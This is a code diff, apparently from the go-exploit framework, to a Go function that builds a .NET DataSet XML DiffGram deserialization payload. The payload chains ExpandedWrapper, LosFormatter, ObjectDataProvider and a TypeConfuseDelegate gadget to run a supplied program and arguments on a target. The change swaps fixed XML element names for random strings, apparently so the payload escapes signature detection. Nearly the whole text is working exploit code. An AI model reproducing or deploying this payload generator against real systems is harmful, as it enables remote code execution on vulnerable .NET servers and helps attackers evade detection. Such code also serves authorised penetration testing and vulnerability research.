@@ -41,6 +41,7 @@ import (
41
41
"path/filepath"
42
42
43
43
"github.com/vulncheck-oss/go-exploit/output"
44
+ "github.com/vulncheck-oss/go-exploit/random"
44
45
"github.com/vulncheck-oss/go-exploit/transform"
45
46
)
46
47
@@ -109,14 +110,17 @@ func IsValidXML(data []byte) bool {
109
110
}
110
111
111
112
func CreateDataSetXMLDiffGram (program string , args string ) (string , bool ) {
112
- string0 := `<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="dataset0">
113
- <xs:element name="dataset0" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
113
+ name0 := random .RandLettersRange (3 , 9 )
114
+ name1 := random .RandLettersRange (3 , 9 )
115
+ name2 := random .RandLettersRange (3 , 9 )
116
+ string0 := `<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="` + name0 + `">
117
+ <xs:element name="` + name0 + `" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
114
118
<xs:complexType>
115
119
<xs:choice minOccurs="0" maxOccurs="unbounded">
116
- <xs:element name="element0 ">
120
+ <xs:element name="` + name1 + ` ">
117
121
<xs:complexType>
118
122
<xs:sequence>
119
- <xs:element name="element1 " msdata:DataType="System.Collections.Generic.List` + "`" + `1[[System.Data.Services.Internal.ExpandedWrapper` + "`" + `2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
123
+ <xs:element name="` + name2 + ` " msdata:DataType="System.Collections.Generic.List` + "`" + `1[[System.Data.Services.Internal.ExpandedWrapper` + "`" + `2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
120
124
</xs:sequence>
121
125
</xs:complexType>
122
126
</xs:element>
@@ -134,9 +138,9 @@ func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {
134
138
innerTypeConfuseDelegateBase64 := string (b64String )
135
139
136
140
string1 := `<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
137
- <dataset0 >
138
- <element0 diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
139
- <element1 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
141
+ <` + name0 + ` >
142
+ <` + name1 + ` diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
143
+ <` + name2 + ` xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
140
144
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
141
145
<ExpandedElement/>
142
146
<ProjectedProperty0>
@@ -147,9 +151,9 @@ func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {
147
151
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
148
152
</ProjectedProperty0>
149
153
</ExpandedWrapperOfLosFormatterObjectDataProvider>
150
- </element1 >
151
- </element0 >
152
- </dataset0 >
154
+ </` + name2 + ` >
155
+ </` + name1 + ` >
156
+ </` + name0 + ` >
153
157
</diffgr:diffgram>`
154
158
libraryID := 2
155
159
binaryLibrary := BinaryLibraryRecord {ID : libraryID , Library : "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
0 commit comments